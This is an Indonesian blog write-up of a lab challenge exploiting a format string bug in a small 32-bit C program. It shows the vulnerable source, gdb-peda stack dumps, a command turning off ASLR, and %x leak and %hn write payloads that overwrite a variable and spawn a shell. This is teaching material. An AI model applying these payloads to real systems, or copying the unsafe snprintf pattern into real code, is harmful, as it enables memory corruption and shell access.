Minggu, 02 Juli 2017

Format string exploit

format_string1

Quest

Diberikan source code dan binary dari soal.

#include <stdio.h>
#include <stdlib.h>

/*
gcc -m32 -o formatstring formatstring2.cpp

*/
int main(int argc, char ** argv)
{
  int var;
  int check = 0x04030201;

  char fmt[128];
  if(argc<2)
    exit(0);

  memset(fmt, 0, sizeof(fmt));

  printf("Check at 0x%x\n", &check);
  printf("argv[1] = [%s]\n", argv[1]);

  snprintf(fmt, sizeof(fmt), argv[1]);

  if((check!= 0x04030201) && (check!= 0xdeadbeef))
    printf("\nYou are on the rigth way\n");

  printf("fmt = [%s]\n", fmt);
  printf("check=0x%x\n", check);

  if(check == 0xdeadbeef){

    printf("Yeah\n");
    system("/bin/dash");
  }
  return 0;
}

Tugas kita disini adalah untuk mengoverwrite variable check agar berisi 0xdeadbeef. Input pada binary tersebut dimasukkan melalui argumen saat menjalan kan program. Apabila kita coba masukan argumen asal program akan menampilkan sebagai berikut

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring AAAA
Check at 0xff90c178
argv[1] = [AAAA]
fmt = [AAAA]
check=0x4030201

Apabila kita lihat source code pada program. Program memiliki format string vulnerable.

Format string adalah type data yang akan dievaluasi oleh bahasa c. Terdapat beberapa type data yang dimiliki oleh bahasa c.

Untuk mengecek vulnerable ini kita dapat menginputkan %x kedalam program

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring '%x'
Check at 0xffa05ef8
argv[1] = [%x]
fmt = [565e16ba]
check=0x4030201

Ooops alamat pada variable cek berubah. Kita matikan dahulu ASLR pada komputer agar exploit yang kita lakukan lebih mudah.

sudo echo 0 > /proc/sys/kernel/randomize_va_space

Terdapat beberapa exploitasi yang dapat dilakukan dengan format string vuln. Namun yang akan kita dibahas disini adalah melihat isi memori, dan mengoverwrite memori.

Apabila kita memberikan input '%x' pada program. Program akan mencetak isi memori pada alamat tersebut.

Kita coba debug dengan debugger kesayangan kita gdb + peda untuk melihat isi stack.

alfakatsuki@justPC:~/Desktop/RootMe$ gdb -q formatstring
Reading symbols from formatstring...(no debugging symbols found)...done.


gdb-peda$ b *main #kita pasang breakpoint di main
gdb-peda$ r AAAABBBB #kita coba jalankan dengan payload AAAABBBB tersebut
gdb-peda$ pdisas main #berikut adalah informasi disassembly dari fungsi main
Dump of assembler code for function main:
=> 0x565556a0 <+0>: lea    ecx,[esp+0x4]
   0x565556a4 <+4>: and    esp,0xfffffff0
   0x565556a7 <+7>: push   DWORD PTR [ecx-0x4]
   0x565556aa <+10>:  push   ebp
   0x565556ab <+11>:  mov    ebp,esp
   0x565556ad <+13>:  push   ebx
   0x565556ae <+14>:  push   ecx
   0x565556af <+15>:  sub    esp,0xa0
   0x565556b5 <+21>:  call   0x56555570 <__x86.get_pc_thunk.bx>
   0x565556ba <+26>:  add    ebx,0x1902
   0x565556c0 <+32>:  mov    eax,ecx
   0x565556c2 <+34>:  mov    edx,DWORD PTR [eax+0x4]
   0x565556c5 <+37>:  mov    DWORD PTR [ebp-0x9c],edx
   0x565556cb <+43>:  mov    ecx,DWORD PTR gs:0x14
   0x565556d2 <+50>:  mov    DWORD PTR [ebp-0xc],ecx
   0x565556d5 <+53>:  xor    ecx,ecx
   0x565556d7 <+55>:  mov    DWORD PTR [ebp-0x90],0x4030201
   0x565556e1 <+65>:  cmp    DWORD PTR [eax],0x1
   0x565556e4 <+68>:  jg     0x565556f0 <main+80>
   0x565556e6 <+70>:  sub    esp,0xc
   0x565556e9 <+73>:  push   0x0
   0x565556eb <+75>:  call   0x56555510
   0x565556f0 <+80>:  sub    esp,0x4
   0x565556f3 <+83>:  push   0x80
   0x565556f8 <+88>:  push   0x0
   0x565556fa <+90>:  lea    eax,[ebp-0x8c]
   0x56555700 <+96>:  push   eax
   0x56555701 <+97>:  call   0x56555520
   0x56555706 <+102>: add    esp,0x10
   0x56555709 <+105>: sub    esp,0x8
   0x5655570c <+108>: lea    eax,[ebp-0x90]
   0x56555712 <+114>: push   eax
   0x56555713 <+115>: lea    eax,[ebx-0x16fc]
   0x56555719 <+121>: push   eax
   0x5655571a <+122>: call   0x565554e0
   0x5655571f <+127>: add    esp,0x10
   0x56555722 <+130>: mov    eax,DWORD PTR [ebp-0x9c]
   0x56555728 <+136>: add    eax,0x4
   0x5655572b <+139>: mov    eax,DWORD PTR [eax]
   0x5655572d <+141>: sub    esp,0x8
   0x56555730 <+144>: push   eax
   0x56555731 <+145>: lea    eax,[ebx-0x16ed]
   0x56555737 <+151>: push   eax
   0x56555738 <+152>: call   0x565554e0
   0x5655573d <+157>: add    esp,0x10
   0x56555740 <+160>: mov    eax,DWORD PTR [ebp-0x9c]
   0x56555746 <+166>: add    eax,0x4
   0x56555749 <+169>: mov    eax,DWORD PTR [eax]
   0x5655574b <+171>: sub    esp,0x4
   0x5655574e <+174>: push   eax
   0x5655574f <+175>: push   0x80
   0x56555754 <+180>: lea    eax,[ebp-0x8c]
   0x5655575a <+186>: push   eax
   0x5655575b <+187>: call   0x56555528
   0x56555760 <+192>: add    esp,0x10
   0x56555763 <+195>: mov    eax,DWORD PTR [ebp-0x90]
   0x56555769 <+201>: cmp    eax,0x4030201
   0x5655576e <+206>: je     0x5655578f <main+239>
   0x56555770 <+208>: mov    eax,DWORD PTR [ebp-0x90]
   0x56555776 <+214>: cmp    eax,0xdeadbeef
   0x5655577b <+219>: je     0x5655578f <main+239>
   0x5655577d <+221>: sub    esp,0xc
   0x56555780 <+224>: lea    eax,[ebx-0x16dd]
   0x56555786 <+230>: push   eax
   0x56555787 <+231>: call   0x565554f8
   0x5655578c <+236>: add    esp,0x10
   0x5655578f <+239>: sub    esp,0x8
   0x56555792 <+242>: lea    eax,[ebp-0x8c]
   0x56555798 <+248>: push   eax
   0x56555799 <+249>: lea    eax,[ebx-0x16c3]
   0x5655579f <+255>: push   eax
   0x565557a0 <+256>: call   0x565554e0
   0x565557a5 <+261>: add    esp,0x10
   0x565557a8 <+264>: mov    eax,DWORD PTR [ebp-0x90]
   0x565557ae <+270>: sub    esp,0x8
   0x565557b1 <+273>: push   eax
   0x565557b2 <+274>: lea    eax,[ebx-0x16b7]
   0x565557b8 <+280>: push   eax
   0x565557b9 <+281>: call   0x565554e0
   0x565557be <+286>: add    esp,0x10
   0x565557c1 <+289>: mov    eax,DWORD PTR [ebp-0x90]
   0x565557c7 <+295>: cmp    eax,0xdeadbeef
   0x565557cc <+300>: jne    0x565557f2 <main+338>
   0x565557ce <+302>: sub    esp,0xc
   0x565557d1 <+305>: lea    eax,[ebx-0x16ab]
   0x565557d7 <+311>: push   eax
   0x565557d8 <+312>: call   0x565554f8
   0x565557dd <+317>: add    esp,0x10
   0x565557e0 <+320>: sub    esp,0xc
   0x565557e3 <+323>: lea    eax,[ebx-0x16a6]
   0x565557e9 <+329>: push   eax
   0x565557ea <+330>: call   0x56555500
   0x565557ef <+335>: add    esp,0x10
   0x565557f2 <+338>: mov    eax,0x0
   0x565557f7 <+343>: mov    edx,DWORD PTR [ebp-0xc]
   0x565557fa <+346>: xor    edx,DWORD PTR gs:0x14
   0x56555801 <+353>: je     0x56555808 <main+360> #kita coba break disini
   0x56555803 <+355>: call   0x56555890 <__stack_chk_fail_local>
   0x56555808 <+360>: lea    esp,[ebp-0x8]
   0x5655580b <+363>: pop    ecx
   0x5655580c <+364>: pop    ebx
   0x5655580d <+365>: pop    ebp
   0x5655580e <+366>: lea    esp,[ecx-0x4]
   0x56555811 <+369>: ret 
gdb-peda$ b *0x56555801 #kita pasang breakpoint diakhir akhir sebelum program berakhir untuk melihat isi stack
gdb-peda$ c

Berikut adalah informasi yang kita dapatkan

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x56556fbc --> 0x1edc
ECX: 0x7ffffff0
EDX: 0x0
ESI: 0x2
EDI: 0xf7fa5000 --> 0x1b5db0
EBP: 0xffffce88 --> 0x0
ESP: 0xffffcde0 --> 0x5d9ebbe2
EIP: 0x56555801 (<main+353>:  je     0x56555808 <main+360>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565557f2 <main+338>: mov    eax,0x0
   0x565557f7 <main+343>: mov    edx,DWORD PTR [ebp-0xc]
   0x565557fa <main+346>: xor    edx,DWORD PTR gs:0x14
=> 0x56555801 <main+353>: je     0x56555808 <main+360>
 | 0x56555803 <main+355>: call   0x56555890 <__stack_chk_fail_local>
 | 0x56555808 <main+360>: lea    esp,[ebp-0x8]
 | 0x5655580b <main+363>: pop    ecx
 | 0x5655580c <main+364>: pop    ebx
 |->   0x56555808 <main+360>: lea    esp,[ebp-0x8]
       0x5655580b <main+363>: pop    ecx
       0x5655580c <main+364>: pop    ebx
       0x5655580d <main+365>: pop    ebp
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffcde0 --> 0x5d9ebbe2
0004| 0xffffcde4 --> 0x3f6
0008| 0xffffcde8 --> 0xf7e80629 (add    esi,0x1249d7)
0012| 0xffffcdec --> 0xffffcf34 --> 0xffffd12d ("/home/alfakatsuki/Desktop/RootMe/formatstring")
0016| 0xffffcdf0 --> 0xffffce2e --> 0x0
0020| 0xffffcdf4 --> 0x1
0024| 0xffffcdf8 --> 0x4030201
0028| 0xffffcdfc ("AAAABBBB")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x56555801 in main ()
gdb-peda$

Kita breakpoint setelah program mencetak sehingga hasil output dapat di lihat

Check at 0xffffcdf8
argv[1] = [AAAABBBB]
fmt = [AAAABBBB]
check=0x4030201

Kita coba examine memori tempat AAAABBBB( atau dalam heksanya 0x41414141 0x42424242) berada yaitu di alamat 0xfffcdfc.

gdb-peda$ x/100wx 0xffffcdfc-32
0xffffcddc: 0x565556ba  0x5d9ebbe2  0x000003f6  0xf7e80629
0xffffcdec: 0xffffcf34  0xffffce2e  0x00000001  0x04030201
0xffffcdfc: 0x41414141  0x42424242  0x00000000  0x00000000

Terlihat ada beberapa isi binary yang menarik disana. Terdapat binary 0x04030201 yaitu isi dari variabel Check. Lalu 8 byte selanjutnya adalah isi dari argumen yang kita input kedalam program.

Alamat dari variabel check adalah 0xffffcdec (Memori bagian kanan) + 12 = 0xffffcdf8

Sedangkan alamat pada AAAABBBB adalah 0xffffcdfc.

Kita telah mendebug program untuk melihat stack yang ada pada program. Kali ini kita akan gunakan vuln format strig dengan memasukan %x kedalam program. Kita akan memasukkan 'AAAABBBB%x%x%x%x%x%x%x%x%x%x%x'. Kita dapat memasukkan beberapa %x untuk melihat 4 byte pada stack untuk setiap %x.

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring 'AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x'
Check at 0xffffce28
argv[1] = [AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x]
fmt = [AAAABBBB.565556ba.9282e2ee.594.f7e80629.ffffcf64.ffffce5e.1.4030201.41414141.42424242.3536352e]
check=0x4030201

Kita dapat melihat isi stack yang kita examine sebelumnya sama persis dengan output yang dihasilkan. Kita dapat melihat stack dengan inputan %x.

Kita dapat pula langsung melihat isi stack pada %x keberapa yang kita inginkan. Kita ingin melihat isi stack pada %x ke 9 yaitu tempat AAAA berada.

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring 'AAAABBBB.%9$x'
Check at 0xffffce48
argv[1] = [AAAABBBB.%9$x]
fmt = [AAAABBBB.41414141]
check=0x4030201

Kita berhasil melihat binary stack melalui inputan %x. Untuk mengoverwrite memori, kita dapat melakukan exploitasi dengan memasukkan format string %hn / %n. Dengan %hn kita akan memasukkan jumlah bytes yang telah kita tulis kedalam memori yang ditunjuk pada stack yang ada. Singkatnya apabila payload kita adalah AAAABBBB%9$hn kita akan menulis 8 desimal pada alamat memori 0x41414141 (yang mana memori ini akan invalid).

Jika kita ingin men overwrite isi dari variabel check, maka kita harus mengisi dengan alamat dari variabel check. Alamat yang kita gunakan adalah alamat yang kita gunakan adalah yang muncul pada terminal kita yaitu alamat 0xFFFFCE48 . Entah karena apa saya juga belum tau kenapa alamat variabel di gdb berbeda dengan alamat memori di mesin kita walaupun kita telah mematikan aslr :).

Kita akan coba payload kita untuk mengubah isi variabel. Kita gunakan python untuk mencetak binary dari alamat tersebut. Karena memori diisi dengan little endian maka kita rubah dulu alamat kita menjadi 0xffffce48 -> \x48\xce\xff\xff

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x48\xce\xff\xff%9$n"')
Check at 0xffffce48
argv[1] = [H���%9$n]

You are on the rigth way
fmt = [H���]
check=0x4

Yes. Kita berhasil mengoverwrite isi dari variabel check walau belum sesuai dengan yang diinginkan.

Kita menginginkan untuk mengoverwrite variabel check menjadi 0xdeadbeef. Dengan menggunakan %hn kita hanya dapat mengubah isi variabel hingga 2 byte (atau setara dengan 4 karakter). Karena itu payload kita pisah dahulu menjadi dua. Yaitu payload untuk memasukkan 0xdead di memori 0xffffce48 dan 0xbeef di memori 0xffffce48 + 2 bytes atau dalam hexa adalah 0xffffce4a.

Seperti inilah layout dari payload yang akan kita inputkan

Alamat memori 0xdead Alamat memori 0xbeef %(Bytes kurang)x %(posisi isi memori)$hn %(Bytes kurang %(posisi isi memori)$hn
\x48\xce\xff\xff \x4a\xce\xff\xff ? %9$hn ? %10$hn

Kita masih memiliki data yang kurang yaitu berapa tepatnya bytes yang harus kita tuliskan untuk menulis 0xdead dan 0xbeef.

Kita coba cari dengan python berapa desimal dari bilangan tersebut

>>> 0xdead
57005
>>> 0xbeef
48879
  • untuk menuliskan 0xbeef. Kita harus menuliskan 48879 bytes. Untuk menuliskan dua alamat '\x48\xce\xff\xff\x4a\xce\xff\xff' kita sudah menuliskan 8 bytes. Sehingga kita akan menuliskan 48871 bytes tanda tanya ke-satu = %48871x
  • untuk menuliskan 0xdead. Kita harus menuliskan 57005 bytes. Kita telah meuliskan total byte 48879 bytes. Sehingga bytes yang kurang tinggal kurangkan saja :). yaitu 8126. tanda tanya ke-satu = %8126x

Payload yang kita punya akhirnya lengkap.

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x48\xce\xff\xff\x4a\xce\xff\xff%48871x%9$hn%8126x%10$hn"')
Check at 0xffffce38
argv[1] = [H���J���%48871x%9$hn%8126x%10$hn]
fmt = [H���J���    ᆳ�                                                                                                               ]
check=0x4030201

Oops Ternyata tidak teroverwrite. Kita lihat ternyata stack yang ada berubah karena banyaknya inputan yang kita masukkan. Kita sesuaikan inputan agar sesuai dengan alamat pada check menjadi '\x38\xce\xff\xff\x3a\xce\xff\xff'

Kita coba kembali

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x38\xce\xff\xff\x3a\xce\xff\xff%48871x%9$hn%8126x%10$hn"')
Check at 0xffffce38
argv[1] = [8���:���%48871x%9$hn%8126x%10$hn]
fmt = [8���:���                                                                                                                       ]
check=0xdeadbeef
Yeah
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare)
$ whoami
alfakatsuki

Kita berhasil mengoverwrite isi dari check menjadi 0xdeadbeef dan mendapatkan shell. Tinggal jalankan pada service dan kita dapatkan flag. Soal yang menarik dan membuat saya banyak belajar mengenai format string :).